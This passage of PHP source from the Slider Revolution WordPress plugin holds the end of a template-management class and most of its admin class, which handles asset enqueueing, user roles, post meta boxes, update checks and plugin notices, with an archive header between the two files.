				if(isset($slider['package']) && $slider['package'] == $package){
					if(isset($slider['package_parent']) && $slider['package_parent'] == 'true') continue; //dont install parent package
					
					if($this->get_val($slider, 'installed') !== false){ //add an invalid slider id as we have not yet installed it
						$i--;
						$sid = $i;
					}else{ //add the installed slider id, as we have the template installed already
						$sid = $slider['id'];
					}
					$order = (isset($slider['package_order'])) ? $slider['package_order'] : 0;
					$tuids[] = array(
						'uid' => $slider['uid'],
						'sid' => $sid,
						'order' => $order
					);
				}
			}
		}
		if(!empty($tuids)){
			usort($tuids, array($this, 'sort_by_order'));
			foreach($tuids as $uid){
				$uids[$uid['sid']] = $uid['uid'];
			}
		}
		
		return $uids;
	}
	
	
	/**
	 * check if Slider Template was already imported. If yes, remove the old Slider Template as we now do an "update" (in reality we delete and insert again)
	 */
	public function remove_old_template($uid){
		//get all template sliders
		$templates = $this->get_tp_template_sliders();
		
		foreach($templates as $tslider){
			if($this->get_val($tslider, 'uid') == $uid){
				if($this->get_val($tslider, 'installed', false) !== false){ //slider is installed
					//delete template Slider!
					$mSlider = new RevSliderSlider();
					$mSlider->init_by_id($tslider['installed']);
					
					$mSlider->delete_slider();
					//remove the update flag from the slider
					
					$this->remove_is_new($uid);
				}
				break;
			}
		}
	}
	
	
	public function sort_by_order($a, $b) {
		return $a['order'] - $b['order'];
	}

	
	/**
	 * check if all Slider of a certain package is installed, do this with the uid of a slider
	 * @since: 5.2.5
	 */
	public function check_package_all_installed($uid, $sliders = false){
		$uids = $this->get_package_uids($uid, $sliders);
		
		foreach($uids as $sid => $uid){
			if($sid < 0) return false;
		}
		
		return true;
		
	}
	
	
	/**
	 * Check if Curl can be used
	 */
	public function check_curl_connection(){
		if($this->curl_check !== null) return $this->curl_check;
		$curl = new WP_Http_Curl();
		$this->curl_check = $curl->test();
		return $this->curl_check;
	}
	
	
	/**
	 * get the template existing categories, merging filter and cat
	 **/
	public function get_template_categories(){
		$cat = array();
		
		$defaults = get_option('rs-templates', array());
		$defaults = $this->get_val($defaults, 'slider', array());
		
		if(!empty($defaults)){
			foreach($defaults as $def){
				$d_cat		= $this->get_val($def, 'cat', '');
				$d_filter	= $this->get_val($def, 'filter', array());
				if(trim($d_cat) !== '' && !isset($cat[$d_cat])) $cat[$d_cat] = ucfirst($d_cat);
				
				if(!empty($d_filter)){
					foreach($d_filter as $filter){
						if(trim($filter) !== '' && !isset($cat[$filter])) $cat[$filter] = ucfirst($filter);
					}
				}
			}
		}
		return $cat;
	}
	
	
	/**
	 * get the slide thumbnail
	 **/
	public function get_slide_image_by_uid($uid, $slidenumber){
		$defaults	= get_option('rs-templates', array());
		$sliders	= $this->get_val($defaults, 'slider', array());
		$slides		= $this->get_val($defaults, 'slides', array());
		$image		= false;
		
		foreach($sliders as $slider){
			if($this->get_val($slider, 'uid') != $uid) continue;
			
			$alias = $this->get_val($slider, 'alias');
			$slide = $this->get_val($slides, $alias, array());
			
			if(!empty($slide)){
				$sl		= $this->get_val($slide, $slidenumber, array());
				$image	= $this->get_val($sl, 'img');
			}
			break;
		}
		
		return ($image !== false) ? $this->_check_file_path($image, true, true) : $image;
	}
	
	
	/**
	 * get the slide thumbnail
	 **/
	public function get_slider_id_by_uid($uid){
		$templates = $this->get_tp_template_sliders();
		$slider_id = 0;
		
		foreach($templates as $template){
			if($this->get_val($template, 'uid') == $uid){
				$slider_id = $this->get_val($template, 'installed');
				$slider_id = intval($slider_id);
				break;
			}
		}
		
		return $slider_id;
	}
	
	/**
	 * clears the uid to make sure no illegal characters are in it
	 **/
	public function clear_uid($uid){
		return preg_replace("/[^a-zA-Z0-9\s]/", '', $uid);
	}
}PK�y3\e=��p�p�revslider-admin.class.phpnu�[���<?php
/**
 * @author    ThemePunch <info@themepunch.com>
 * @link      https://www.themepunch.com/
 * @copyright 2019 ThemePunch
 */

if(!defined('ABSPATH')) exit();

class RevSliderAdmin extends RevSliderFunctionsAdmin {
	private $view			 = 'slider';
	private $user_role		 = 'administrator';
	private $global_settings = array();
	private $screens		 = array(); //holds all RevSlider Relevant screens in it
	private $allowed_views	 = array('sliders', 'slider', 'slide', 'update'); //holds pages, that are allowed to be included
	private $pages			 = array('revslider'); //, 'revslider_navigation', 'rev_addon', 'revslider_global_settings'
	private $dev_mode		 = false;
	private $path_views;
	
	
	/**
	 * START: DEPRECATED FUNCTIONS PRIOR 6.2.0 THAT ARE IN HERE FOR OLD THEMES TO WORK PROPERLY
	 **/
	
	/**
	 * Activate the Plugin through the ThemePunch Servers
	 * @before: RevSliderOperations::checkPurchaseVerification();
	 * @moved to RevSliderLicense::activate_plugin();
	 **/
	public function activate_plugin($code){
		$rs_license = new RevSliderLicense();
		return $rs_license->activate_plugin($code);
	}
	
	
	/**
	 * Deactivate the Plugin through the ThemePunch Servers
	 * @before: RevSliderOperations::doPurchaseDeactivation();
	 * @moved to RevSliderLicense::deactivate_plugin();
	 **/
	public function deactivate_plugin(){
		$rs_license = new RevSliderLicense();
		return $rs_license->deactivate_plugin();
	}
	
	/**
	 * END: DEPRECATED FUNCTIONS THAT ARE IN HERE FOR OLD ADDONS TO WORK PROPERLY
	 **/
	 
	
	/**
	 * construct admin part
	 **/
	public function __construct(){
		parent::__construct();
		
		if(!file_exists(RS_PLUGIN_PATH.'admin/assets/js/plugins/utils.min.js') && !file_exists(RS_PLUGIN_PATH.'admin/assets/js/modules/editor.min.js')){
			$this->dev_mode = true;
		}
		
		$this->path_views = RS_PLUGIN_PATH . 'admin/views/';
		$this->global_settings = $this->get_global_settings();
		
		$this->set_current_page();
		$this->set_user_role();
		$this->do_update_checks();
		$this->add_actions();
		$this->add_filters();
	}
	
	/**
	 * enqueue all admin styles
	 **/
	public function enqueue_admin_styles(){
		if(!in_array($this->get_val($_GET, 'page'), $this->pages) && !$this->is_edit_page()) return;

		wp_enqueue_style('rs-open-sans', '//fonts.googleapis.com/css?family=Open+Sans:400,300,700,600,800');
		wp_enqueue_style('rs-roboto', '//fonts.googleapis.com/css?family=Roboto');
		wp_enqueue_style('tp-material-icons', '//fonts.googleapis.com/icon?family=Material+Icons');
		//wp_enqueue_style('revslider-global-styles', RS_PLUGIN_URL . 'admin/assets/css/global.css', array(), RS_REVISION);
		wp_enqueue_style(array('wp-jquery-ui', 'wp-jquery-ui-core', 'wp-jquery-ui-dialog', 'wp-color-picker'));
		wp_enqueue_style('revbuilder-color-picker-css', RS_PLUGIN_URL . 'admin/assets/css/tp-color-picker.css', array(), RS_REVISION);
	
		wp_enqueue_style('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/css/ddTP.css', array(), RS_REVISION);
		//wp_enqueue_style('RevMirror-css', RS_PLUGIN_URL .'admin/assets/css/RevMirror.css', array(), RS_REVISION);
		wp_enqueue_style('rs-frontend-settings', RS_PLUGIN_URL . 'public/assets/css/rs6.css', array(), RS_REVISION);
		wp_enqueue_style('rs-icon-set-fa-icon-', RS_PLUGIN_URL . 'public/assets/fonts/font-awesome/css/font-awesome.css', array(), RS_REVISION);
		wp_enqueue_style('rs-icon-set-pe-7s-', RS_PLUGIN_URL . 'public/assets/fonts/pe-icon-7-stroke/css/pe-icon-7-stroke.css', array(), RS_REVISION);
		wp_enqueue_style('revslider-basics-css', RS_PLUGIN_URL . 'admin/assets/css/basics.css', array(), RS_REVISION); //'rs-new-plugin-settings'
		wp_enqueue_style('rs-new-plugin-settings', RS_PLUGIN_URL . 'admin/assets/css/builder.css', array('revslider-basics-css'), RS_REVISION);
		if(is_rtl()){
			wp_enqueue_style('rs-new-plugin-settings-rtl', RS_PLUGIN_URL . 'admin/assets/css/builder-rtl.css', array('rs-new-plugin-settings'), RS_REVISION);
		}
	}
	
	/**
	 * enqueue all admin scripts
	 **/
	public function enqueue_admin_scripts(){
		if(!in_array($this->get_val($_GET, 'page'), $this->pages) && !$this->is_edit_page()) return;

		wp_enqueue_script(array('jquery', 'jquery-ui-core', 'jquery-ui-mouse', 'jquery-ui-accordion', 'jquery-ui-datepicker', 'jquery-ui-dialog', 'jquery-ui-slider', 'jquery-ui-autocomplete', 'jquery-ui-sortable', 'jquery-ui-droppable', 'jquery-ui-tabs', 'jquery-ui-widget', 'wp-color-picker', 'wpdialogs', 'updates'));
		wp_enqueue_script(array('wp-color-picker'));

		//include all media upload scripts
		$this->add_media_upload_includes();

		global $wp_scripts;
		$view = $this->get_val($_GET, 'view');

		wp_enqueue_script('jquery-ui-droppable', array('jquery'), RS_REVISION);
		
		/**
		 * dequeue tp-tools to make sure that always the latest is loaded
		 **/
		if(version_compare($this->get_val($wp_scripts, array('registered', 'tp-tools', 'ver'), '1.0'), RS_TP_TOOLS, '<')){
			wp_deregister_script('tp-tools');
			wp_dequeue_script('tp-tools');
		}

		wp_enqueue_script('tp-tools', RS_PLUGIN_URL . 'public/assets/js/rbtools.min.js', array(), RS_TP_TOOLS);
		
		if($this->dev_mode){
			wp_enqueue_script('revbuilder-admin', RS_PLUGIN_URL . 'admin/assets/js/modules/admin.js', array('jquery'), RS_REVISION, false);
			wp_localize_script('revbuilder-admin', 'RVS_LANG', $this->get_javascript_multilanguage()); //Load multilanguage for JavaScript
			wp_enqueue_script('revbuilder-basics', RS_PLUGIN_URL . 'admin/assets/js/modules/basics.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-ddTP', RS_PLUGIN_URL . 'admin/assets/js/plugins/ddTP.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-color-picker-js', RS_PLUGIN_URL . 'admin/assets/js/plugins/tp-color-picker.min.js', array('jquery', 'revbuilder-ddTP', 'wp-color-picker'), RS_REVISION);
			wp_enqueue_script('revbuilder-clipboard', RS_PLUGIN_URL . 'admin/assets/js/plugins/clipboard.min.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-objectlibrary', RS_PLUGIN_URL . 'admin/assets/js/modules/objectlibrary.js', array('jquery'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-optimizer', RS_PLUGIN_URL . 'admin/assets/js/modules/optimizer.js', array('jquery'), RS_REVISION, false);
		}else{
			wp_enqueue_script('revbuilder-admin', RS_PLUGIN_URL . 'admin/assets/js/modules/admin.min.js', array('jquery'), RS_REVISION, false);
			wp_localize_script('revbuilder-admin', 'RVS_LANG', $this->get_javascript_multilanguage()); //Load multilanguage for JavaScript
			wp_enqueue_script('revbuilder-utils', RS_PLUGIN_URL . 'admin/assets/js/plugins/utils.min.js', array('jquery', 'wp-color-picker'), RS_REVISION, false);
		}
		
		if($view == 'slide' && $this->dev_mode){
			wp_enqueue_script('revbuilder-help', RS_PLUGIN_URL . 'admin/assets/js/modules/helpinit.js', array('jquery', 'revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-toolbar', RS_PLUGIN_URL . 'admin/assets/js/modules/rightclick.js', array('jquery', 'revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-effects', RS_PLUGIN_URL . 'admin/assets/js/modules/timeline.js', array('jquery','revbuilder-admin'), RS_REVISION, false);				
			wp_enqueue_script('revbuilder-panzoom', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.panzoom.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-slideanim', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.slideanims.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			//wp_enqueue_script('revbuilder-threejs', RS_PLUGIN_URL . 'public/assets/js/libs/three.min.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-layer', RS_PLUGIN_URL . 'admin/assets/js/modules/layer.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-layertools', RS_PLUGIN_URL . 'admin/assets/js/modules/layertools.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-quick-style', RS_PLUGIN_URL . 'admin/assets/js/modules/quickstyle.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-navigations', RS_PLUGIN_URL . 'admin/assets/js/modules/navigation.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-layeractions', RS_PLUGIN_URL . 'admin/assets/js/modules/layeractions.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-layerlist', RS_PLUGIN_URL . 'admin/assets/js/modules/layerlist.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-slide', RS_PLUGIN_URL . 'admin/assets/js/modules/slide.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder-slider', RS_PLUGIN_URL . 'admin/assets/js/modules/slider.js', array('jquery','revbuilder-admin'), RS_REVISION, false);
			wp_enqueue_script('revbuilder', RS_PLUGIN_URL . 'admin/assets/js/builder.js', array('jquery','revbuilder-admin', 'jquery-ui-sortable'), RS_REVISION, false);
			add_action('admin_print_scripts', array($this, 'add_editor_mode'), 1);
		}elseif($view == 'slide' && !$this->dev_mode){
			wp_enqueue_script('revbuilder-editor', RS_PLUGIN_URL . 'admin/assets/js/modules/editor.min.js', array('jquery', 'revbuilder-admin', 'jquery-ui-sortable'), RS_REVISION, false);
			add_action('admin_print_scripts', array($this, 'add_editor_mode'), 1);
		}

		if($view == '' || $view == 'sliders'){
			if($this->dev_mode){
				wp_enqueue_script('revbuilder-overview', RS_PLUGIN_URL . 'admin/assets/js/modules/overview.js', array('jquery'), RS_REVISION, false);
			}else{
				wp_enqueue_script('revbuilder-overview', RS_PLUGIN_URL . 'admin/assets/js/modules/overview.min.js', array('jquery'), RS_REVISION, false);
			}
			
			if(!file_exists(RS_PLUGIN_PATH.'public/assets/js/rs6.min.js')){
				wp_enqueue_script('revmin', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.main.js', 'tp-tools', RS_REVISION, false);
				//if on, load all libraries instead of dynamically loading them
				wp_enqueue_script('revmin-actions', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.actions.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-carousel', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.carousel.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-layeranimation', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.layeranimation.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-navigation', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.navigation.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-panzoom', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.panzoom.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-parallax', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.parallax.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-slideanims', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.slideanims.js', 'tp-tools', RS_REVISION, false);
				//wp_enqueue_script('revmin-threejs', RS_PLUGIN_URL . 'public/assets/js/libs/three.min.js', 'tp-tools', RS_REVISION, false);
				wp_enqueue_script('revmin-video', RS_PLUGIN_URL . 'public/assets/js/dev/rs6.video.js', 'tp-tools', RS_REVISION, false);
			}else{
				wp_enqueue_script('revmin', RS_PLUGIN_URL . 'public/assets/js/rs6.min.js', array('jquery', 'tp-tools'), RS_REVISION, false);
			}
		}
	}
	
	/**
	 * adds needed JavaScript to the header
	 * to tell the scripts that we are in the editor
	 * @since: 6.4.0
	 **/
	public function add_editor_mode(){
		echo '<script type="text/javascript">'."\n";
		echo "var _R_is_Editor = 'true';\n";
		echo '</script>'."\n";
	}

	/**
	 * add all js and css needed for media upload
	 */
	protected static function add_media_upload_includes(){
		if(function_exists('wp_enqueue_media')){
			wp_enqueue_media();
		}

		wp_enqueue_script('thickbox');
		wp_enqueue_script('media-upload');
		wp_enqueue_style('thickbox');
	}
	
	/**
	 * Load the plugin text domain for translation.
	 */
	public function load_plugin_textdomain(){
		load_plugin_textdomain('revslider', false, dirname(RS_PLUGIN_SLUG_PATH) . '/languages/');
		load_plugin_textdomain('revsliderhelp', false, dirname(RS_PLUGIN_SLUG_PATH) . '/languages/');
	}

	/**
	 * set the user role, to restrict plugin usage to certain groups
	 * @since: 6.0
	 **/
	public function set_user_role(){
		$this->user_role = $this->get_val($this->global_settings, 'permission', 'administrator');
		if($this->user_role === 'admin') $this->user_role = 'administrator';
		if(!in_array($this->user_role, array('author', 'editor', 'administrator'))) $this->user_role = 'administrator';
		
		switch($this->user_role){
			case 'author':
				$this->user_role = 'edit_published_posts';
			break;
			case 'editor':
				$this->user_role = 'edit_pages';
			break;
			default:
			case 'admin':
			case 'administrator':
				$this->user_role = 'manage_options';
			break;
		}
	}

	/**
	 * add the admin pages to the WordPress backend
	 * @since: 6.0
	 **/
	public function add_admin_pages(){
		$this->screens[] = add_menu_page('Slider Revolution', 'Slider Revolution', $this->user_role, 'revslider', array($this, 'display_admin_page'), 'dashicons-update');
	}

	/**
	 * add wildcards metabox variables to posts
	 * @var $post_types: null = all, post = only posts
	 */
	public function add_slider_meta_box($post_types = null){
		try {
			$post_types = array('post','page');
			add_meta_box('slider_revolution_metabox', 'Slider Revolution', array('RevSliderAdmin', 'add_meta_box_content'), $post_types, 'side', 'default');
		} catch (Exception $e){}
	}

	/**
	 * on add metabox content
	 */
	public static function add_meta_box_content($post, $boxData){
		call_user_func(array('RevSliderAdmin', 'custom_post_fields_output'));
	}

	/**
	 *  custom output function
	 */
	public static function custom_post_fields_output(){
		$slider = new RevSliderSlider();
		$output = array();
		$output['default'] = 'default';

		$meta = get_post_meta(get_the_ID(), 'slide_template', true);
		$meta = ($meta == '') ? 'default' : $meta;

		$page_bg = get_post_meta(get_the_ID(), 'rs_page_bg_color', true);
		$page_bg = ($page_bg == '') ? '' : $page_bg;

		$blank = get_page_template_slug(get_the_ID()) == "../public/views/revslider-page-template.php";
		$blankcheck = $blank ? 'checked' : '';
		$hide_page_bg =  $blank ? '' : 'style="display:none;"';
		
		
		$slides = $slider->get_sliders_with_slides_short('template');
		$output = $output + $slides; //union arrays

		$latest_version	= get_option('revslider-latest-version', RS_REVISION);

		?>
		<ul class="revslider_settings _TPRB_">
			<li id="slide_template_row">
				<label class="rs_wp_ppset" for="revslider_blank_template"><?php _e('Blank Template','revslider'); ?></label><input id="rs_blank_template" name="rs_blank_template" <?php echo $blankcheck;?> class="" type="checkbox" >
			</li>
			<li id="slide_template_row">
				<div id="rs_page_bg_color_column" class="" <?php echo $hide_page_bg;?>>
					<label class="rs_wp_ppset"><?php _e('Page Color', 'revslider');?></label><input type="text" data-editing="<?php _e('Background Color', 'revslider');?>" name="rs_page_bg_color" id="rs_page_bg_color" class="my-color-field" value="<?php echo $page_bg; ?>">					
				</div>
				<div class="clear"></div>				
			</li>
			<li id="slide_template_row">				
				<label class="rs_wp_ppset" id="slide_template_text"><?php _e('Slide Template', 'revslider');?></label><select style="max-width:82px" name="slide_template" id="slide_template">
				<?php
				foreach($output as $handle => $name){
					echo '<option ' . selected($handle, $meta) . ' value="' . $handle . '">' . $name . '</option>';
				}
				?></select>
			</li>
			<li id="slide_template_row" style="margin-top:40px">
				<solidiconbox><i class="material-icons">flag</i></solidiconbox><div class="pli_twoline_wp"><div class="pli_subtitle"><?php _e('Installed Version', 'revslider');?></div><div class="dynamicval pli_subtitle"><?php echo RS_REVISION; ?></div></div>
				<div class="div5"></div>
				<solidiconbox id="available_version_icon"><i class="material-icons">cloud_download</i></solidiconbox><div id="available_version_content" class="pli_twoline_wp"><div class="pli_subtitle"><?php _e('Available Version', 'revslider');?></div><div class="available_latest_version dynamicval pli_subtitle"><?php echo $latest_version; ?></div></div>				
			</li>
			<li>
				<div class="rs_wp_plg_act_wrapper"><span><?php _e('Unlock All Features', 'revslider');?></span></div>
			</li>
		</ul>
		
		<?php
	}
	
	
	
	/**
	 * 
	 * on save post meta. Update metaboxes data from post, add it to the post meta 
	 * @before: RevSliderBaseAdmin::onSavePost();
	 */
	public static function on_save_post(){
		$f = RevSliderGlobals::instance()->get('RevSliderFunctions');

		$post_id = $f->get_post_var('ID');

		if(defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) return $post_id; //protection against autosave
		if(empty($post_id)) return false;
		
		// Slide Template
		$slide_template = $f->get_post_var('slide_template');
		if(in_array($slide_template, array('', 'default'))){
			delete_post_meta($post_id, 'slide_template');
		}else{
			update_post_meta($post_id, 'slide_template', $slide_template);
		}

		// Blank Page Template Background Color
		$rs_page_bg_color = $f->get_post_var('rs_page_bg_color');
		if(strtolower($rs_page_bg_color) === '#ffffff'){
			delete_post_meta($post_id, 'rs_page_bg_color');
		}else{
			update_post_meta($post_id, 'rs_page_bg_color', $rs_page_bg_color);
		}

		// Set/Unset Blank Template depending on Blank Template Switch
		$rs_blank_template = $f->get_post_var('rs_blank_template');
		if(empty($rs_blank_template) && !empty($rs_page_bg_color) && get_post_meta($post_id, '_wp_page_template', true) == '../public/views/revslider-page-template.php'){
			update_post_meta($post_id, '_wp_page_template','');
		}
		if(!empty($rs_blank_template) &&  $rs_blank_template == 'on'){
			update_post_meta($post_id, '_wp_page_template','../public/views/revslider-page-template.php');
		}
	}
	
	
	/**
	 * we dont want to show notices in our plugin
	 **/
	public function hide_notices(){
		if(in_array($this->get_val($_GET, 'page'), $this->pages)){
			remove_all_actions('admin_notices');
		}
	}

	/**
	 * check if we need to search for updates, if yes. Do them
	 **/
	private function do_update_checks(){
		$upgrade	= new RevSliderUpdate(RS_REVISION);
		$library	= new RevSliderObjectLibrary();
		$template	= new RevSliderTemplate();
		$validated	= get_option('revslider-valid', 'false');
		$stablev	= get_option('revslider-stable-version', '0');

		$uol = isset($_REQUEST['update_object_library']);
		$library->_get_list($uol);
		
		$us = isset($_REQUEST['update_shop']);
		$template->_get_template_list($us);

		$upgrade->force = in_array($this->get_val($_REQUEST, 'checkforupdates', 'false'), array('true', true), true);
		$upgrade->_retrieve_version_info();
		
		if($validated === 'true' || version_compare(RS_REVISION, $stablev, '<')){
			$upgrade->add_update_checks();
		}
	}

	/**
	 * Add Classes to the WordPress body
	 * @since    6.0
	 * @param string $classes
	 * @return string
	 */
	function modify_admin_body_class($classes){
		$classes .= ($this->get_val($_GET, 'page') == 'revslider' && $this->get_val($_GET, 'view') == 'slide') ? ' rs-builder-mode' : '';
		$classes .= ($this->_truefalse($this->get_val($this->global_settings, 'highContrast', false)) === true && $this->get_val($_GET, 'page') === 'revslider') ? ' rs-high-contrast' : '';
		
		return $classes;
	}


	/**
	 * Add all actions that the backend needs here
	 **/
	public function add_actions(){
		global $pagenow;
		
		$cache = RevSliderGlobals::instance()->get('RevSliderCache');
		
		add_action('plugins_loaded', array($this, 'load_plugin_textdomain'));
		add_action('admin_head', array($this, 'hide_notices'), 1);
		add_action('admin_menu', array($this, 'add_admin_pages'));
		add_action('add_meta_boxes', array($this, 'add_slider_meta_box'));
		add_action('save_post', array($this, 'on_save_post'));
		add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_styles'));
		add_action('admin_enqueue_scripts', array($this, 'enqueue_admin_scripts'));
		add_action('wp_ajax_revslider_ajax_action', array($this, 'do_ajax_action')); //ajax response to save slider options.
		add_action('wp_ajax_revslider_ajax_call_front', array($this, 'do_front_ajax_action'));
		add_action('wp_ajax_nopriv_revslider_ajax_call_front', array($this, 'do_front_ajax_action')); //for not logged in users
		
		add_action('save_post', array($cache, 'check_for_post_transient_deletion'));
		add_action('future_to_publish', array($cache, 'check_for_post_transient_deletion'));
		add_action('publish_post', array($cache, 'check_for_post_transient_deletion'));
		add_action('publish_future_post', array($cache, 'check_for_post_transient_deletion'));
		
		if(isset($pagenow) && $pagenow == 'plugins.php'){
			add_action('admin_notices', array($this, 'add_plugins_page_notices'));
		}
		
		add_action('admin_init', array($this, 'merge_addon_notices'), 99);
		add_action('admin_init', array($this, 'add_suggested_privacy_content'), 15);
		
		$instagram = RevSliderGlobals::instance()->get('RevSliderInstagram');
		$instagram->add_actions();

		$facebook = RevSliderGlobals::instance()->get('RevSliderFacebook');
		$facebook->add_actions();
	}

	/**
	 * Add all filters that the backend needs here
	 **/
	public function add_filters(){
		add_filter('admin_body_class', array($this, 'modify_admin_body_class'));
		add_filter('plugin_locale', array($this, 'change_lang'), 10, 2);
	}
	
	/**
	 * Change the language of the Sldier Backend even if WordPress is set to be a different language
	 * @since: 6.1.6
	 **/
	public function change_lang($locale, $domain = ''){
		return (in_array($domain, array('revslider', 'revsliderhelp'), true)) ? $this->get_val($this->global_settings, 'lang', 'default') : $locale;
	}

	/**
	 * merge the revslider addon notices into one bigger notice
	 * @since: 2.2.0
	 **/
	public function merge_addon_notices(){
		global $wp_filter;
		
		if(!isset($wp_filter['admin_notices'])) return;
		if(!isset($wp_filter['admin_notices']->callbacks)) return;
		
		global $revslider_addon_notice_merged;
		$slugs = array(
			'Revslider_404_Addon_Verify', 'RsAddOnBackupNotice', 'RsAddOnBeforeAfterNotice', 'RsAddOnBubblemorphNotice', 'Revslider_Domain_Switch_Addon_Verify',
			'RsAddOnDuotoneNotice', 'RsAddOnExplodinglayersNotice', 'Revslider_Featured_Addon_Verify', 'RsAddOnFilmstripNotice', 'Revslider_Gallery_Addon_Verify',
			'RsAddOnLiquideffectNotice', 'Revslider_Login_Addon_Verify', 'Revslider_Maintenance_Addon_Verify', 'RsAddOnMousetrapNotice', 'RsAddOnPaintbrushNotice',
			'RsAddOnPanoramaNotice', 'RsAddOnParticlesNotice', 'RsAddOnPolyfoldNotice', 'Revslider_Prev_Next_Addon_Verify', 'RsAddOnRefreshNotice',
			'Revslider_Related_Posts_Addon_Verify', 'RsAddOnRevealerNotice', 'RsAddOnShapebuilderNotice', 'Revslider_Sharing_Addon_Verify', 'RsAddOnSliceyNotice',
			'RsAddOnSnowNotice', 'RsAddOnSunbeamNotice', 'RsAddOnTypewriterNotice', 'Revslider_Weather_Addon_Verify', 'Revslider_Whiteboard_Addon_Verify',
			'Revslider_Whiteboard_Addon_Verify'
		);
	
		foreach($wp_filter['admin_notices']->callbacks as $k => $o){
			if(!empty($o)){
				foreach($o as $ok => $f){
					if(!isset($f['function'])) continue;
					if(!is_array($f['function'])) continue;
					if(!isset($f['function'][0])) continue;
					if(!is_object($f['function'][0])) continue;
					
					
					$class = get_class($f['function'][0]);
					if(in_array($class, $slugs, true)){
						unset($wp_filter['admin_notices']->callbacks[$k][$ok]);
						$revslider_addon_notice_merged++;
					}
				}
			}
		}
		if($revslider_addon_notice_merged > 0){
			add_action('admin_notices', array($this, 'add_addon_plugins_page_notices'));
		}
	}
	
	/**
	 * add addon merged notices
	 * @since: 6.2.0
	 **/
	public function add_addon_plugins_page_notices(){
		?>
		<div class="error below-h2 soc-notice-wrap revaddon-notice" style="display: none;">
			<p><?php echo __('Action required for Slider Revolution AddOns: Please <a href="https://www.sliderrevolution.com/manual-section/manual/getting-started/quick-setup/" target="_blank" rel="noopener">install</a>/<a href="https://www.sliderrevolution.com/manual-section/manual/getting-started/quick-setup/register-plugin/" target="_blank" rel="noopener">activate</a>/<a href="https://www.sliderrevolution.com/manual-section/manual/getting-started/quick-setup/update-plugin/" target="_blank" rel="noopener">update</a> Slider Revolution</a>', 'revslider'); ?><span data-addon="rs-addon-notice" data-noticeid="rs-addon-merged-notices" style="float: right; cursor: pointer" class="revaddon-dismiss-notice dashicons dashicons-dismiss"></span></p>
		</div>
		<?php
	}
	
	/**
	 * add plugin notices to the Slider Revolution Plugin at the overview page of plugins
	 * @return void;
	 **/
	public static function add_plugins_page_notices(){
		if(get_option('revslider-valid', 'false') != 'false') return;
		
		$plugins = get_plugins();
		
		foreach($plugins as $plugin_id => $plugin){
			$slug = dirname($plugin_id);
			if(empty($slug) || $slug !== 'revslider') continue;

			add_action('after_plugin_row_' . $plugin_id, array('RevSliderAdmin', 'add_notice_wrap_pre'), 10, 3);
			add_action('after_plugin_row_' . $plugin_id, array('RevSliderAdmin', 'show_purchase_notice'), 10, 3);
			add_action('after_plugin_row_' . $plugin_id, array('RevSliderAdmin', 'add_notice_wrap_post'), 10, 3);
			
			break;
		}
	}

	/**
	 * Add the pre HTML for plugin notice on the plugin overview page
	 **/
	public static function add_notice_wrap_pre($plugin_file, $plugin_data, $plugin_status){
		$wp_list_table = _get_list_table('WP_Plugins_List_Table');
		$slug = dirname($plugin_file);
		if(is_network_admin()){
			$active_class = is_plugin_active_for_network($plugin_file) ? ' active' : '';
		}else{
			$active_class = is_plugin_active($plugin_file) ? ' active' : '';
		}
		
		?>
		<tr class="plugin-update-tr<?php echo $active_class; ?>" id="<?php echo $slug; ?>-update" data-plugin="<?php echo $plugin_file; ?>"><td colspan="<?php echo $wp_list_table->get_column_count(); ?>" class="plugin-update colspanchange">
			<div class="update-message notice inline notice-warning notice-alt">
		<?php
	}

	/**
	 * Add the post HTML for plugin notice on the plugin overview page
	 **/
	public static function add_notice_wrap_post($plugin_file, $plugin_data, $plugin_status){
		?>
			</div>
		</tr>
		<?php
	}

	/**
	 * Show message for activation benefits
	 **/
	public static function show_purchase_notice($plugin_file, $plugin_data, $plugin_status){
		?>
		<p>
			<?php _e('Activate Slider Revolution for <a href="https://www.sliderrevolution.com/premium-slider-revolution/" target="_blank" rel="noopener">premium benefits (e.g. live updates)</a>.', 'revslider');?>
		</p>
		<?php
	}

	/**
	 * Add the suggested privacy policy text to the policy postbox.
	 */
	public function add_suggested_privacy_content() {
		if(function_exists('wp_add_privacy_policy_content')){
			$content = $this->get_default_privacy_content();
			wp_add_privacy_policy_content(__( 'Slider Revolution'), $content);
		}
	}
	
	/**
	 * Return the default suggested privacy policy content.
	 *
	 * @return string The default policy content.
	 */
